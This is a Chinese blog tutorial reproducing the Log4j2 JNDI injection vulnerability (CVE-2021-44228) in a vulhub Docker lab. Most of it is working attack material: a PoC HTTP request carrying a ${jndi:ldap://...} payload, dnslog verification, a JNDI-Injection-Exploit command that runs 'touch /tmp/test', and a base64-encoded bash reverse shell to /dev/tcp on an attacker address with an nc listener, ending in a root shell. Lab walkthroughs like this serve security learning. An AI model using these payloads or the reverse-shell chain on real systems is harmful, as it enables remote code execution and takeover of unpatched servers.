码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Apache_Log4j2查找功能JNDI注入_CVE-2021-44228


    Apache_Log4j2查找功能JNDI注入_CVE-2021-44228

    文章目录

      • Apache_Log4j2查找功能JNDI注入_CVE-2021-44228
        • 1 在线漏洞解读:
        • 2 环境搭建
        • 3 影响版本:
        • 4 漏洞复现
          • 4.1 访问页面
          • 4.2 poc漏洞验证
        • 4.3 在dnslog获取个域名
          • 4.4 使用bp抓包进行分析
          • 4.5 通信成功,此处可以漏洞利用
        • 5 构建一个imr服务器
          • 5.1 java通信协议
          • 5.2 下载工具JNDI协议服务
          • 5.3 执行漏洞核心指令
        • 6 kali进行下载安裝JNDI服务
          • 6.1 使用编译好的tar包,准备启动JNDI通信服务
          • 6.2 执行
          • 6.3 将下面请求依次放到bp--》漏洞请求参数中
          • 6.4 查看docker容器
          • 6.5 docker容器中成功创建文件test,命令执行成功
        • 7 构建反弹shell
          • 7.1 反弹shell一句话
          • 7.2 使用在线工具转义
          • 7.3 开启监听
          • 7.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
          • 7.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
          • 7.6 请求后JNDI服务收到请求响应
          • 7.7 经过多次尝试,获取连接取得shell,获取root

    1 在线漏洞解读:

    https://vulhub.org/#/environments/log4j/CVE-2021-44228/
    
    • 1

    在这里插入图片描述

    2 环境搭建

    cd  /home/kali/vulhub/log4j/CVE-2021-44228
    
    • 1

    在这里插入图片描述

    启动:

    sudo docker-compose up -d
    
    sudo docker-compose ps -a
    sudo docker ps -a
    
    • 1
    • 2
    • 3
    • 4

    已启动:访问端口8900

    在这里插入图片描述

    3 影响版本:

    ​ Log4j2

    4 漏洞复现

    4.1 访问页面

    ​ 访问页面http://192.168.225.166:8900/

    在这里插入图片描述

    4.2 poc漏洞验证

    简单地说,输入有效负载${jndi:dns://${sys:java.version}.example.com}可以触发JNDI查询的管理操作。

    GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
    Host: your-ip:8983
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    4.3 在dnslog获取个域名

    http://dnslog.cn/
    
    • 1

    在这里插入图片描述

    4.4 使用bp抓包进行分析

    将域名地址放入下图中,send转发看是否可以通信

    GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.qlsfi0.dnslog.cn} HTTP/1.1
    
    • 1

    在这里插入图片描述

    4.5 通信成功,此处可以漏洞利用

    在这里插入图片描述

    5 构建一个imr服务器

    5.1 java通信协议
    JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
    
    • 1
    5.2 下载工具JNDI协议服务
    https://github.com/welk1n/JNDI-Injection-Exploit
    
    • 1
    5.3 执行漏洞核心指令
    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
    要确保 1099、1389、8180端口可用,不被其他程序占用
    
    • 1
    • 2
    • 3

    6 kali进行下载安裝JNDI服务

    ┌──(kali💋kali)-[~/tools]
    └─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git    
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    6.1 使用编译好的tar包,准备启动JNDI通信服务
    ┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
    └─$ pwd                                                                       
    /home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    6.2 执行
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"
    
    • 1

    在这里插入图片描述

    6.3 将下面请求依次放到bp–》漏洞请求参数中
    rmi://192.168.225.166:1099/zn7ifc
    ldap://192.168.225.166:1389/zn7ifc
    rmi://192.168.225.166:1099/cv02m1
    rmi://192.168.225.166:1099/jxyhcp
    ldap://192.168.225.166:1389/jxyhcp
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    GET /solr/admin/cores?action=${jndi:ldap://192.168.225.166:1389/zn7ifc} HTTP/1.1
    
    • 1

    在这里插入图片描述

    kali后台:

    在这里插入图片描述

    6.4 查看docker容器
    sudo docker ps -a
    sudo docker exec -it d63fc660cd63  /bin/bash
    
    • 1
    • 2

    在这里插入图片描述

    6.5 docker容器中成功创建文件test,命令执行成功

    在这里插入图片描述

    7 构建反弹shell

    7.1 反弹shell一句话
    nc -lvvp  6666   # 开启监听6666端口服务
    ----------------------------------
    bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
    ----------------------------------
    bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
    ----------------------------------
    bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
    --------------
    最后组合为
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
    ----------------------------------
    
    输入java指令:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
    
    
    bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
    nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    7.2 使用在线工具转义

    在这里插入图片描述

    7.3 开启监听
    nc  -lvvp  6666
    
    • 1

    在这里插入图片描述

    7.4 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"
    
    • 1

    在这里插入图片描述

    7.5 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
    rmi://192.168.225.166:1099/i3hcpf
    rmi://192.168.225.166:1099/w7eudo
    ldap://192.168.225.166:1389/w7eudo
    rmi://192.168.225.166:1099/vlvzc3
    ldap://192.168.225.166:1389/vlvzc3
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    7.6 请求后JNDI服务收到请求响应

    在这里插入图片描述

    7.7 经过多次尝试,获取连接取得shell,获取root

    在这里插入图片描述

  • 相关阅读:
    1688阿里巴巴官方开放平台API接口获取商品详情、商品规格信息列表、价格、宝贝详情数据调用示例说明
    2023年【烟花爆竹经营单位主要负责人】考试及烟花爆竹经营单位主要负责人新版试题
    想搞懂持续交付理论和实践,你只差这三个问题
    利用路由追踪工具收集路由信息
    【无标题】三分钟快速实现MQTT网关远程连接三菱系列PLC
    如何从0-1学习渗透测试?
    js小数计算丢失精度问题
    Linux——文件系统
    ubuntu中更新安装node
    嵌入式系统使用网络镜像或使用网络更新镜像
  • 原文地址:https://blog.csdn.net/weixin_42786460/article/details/133823940
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号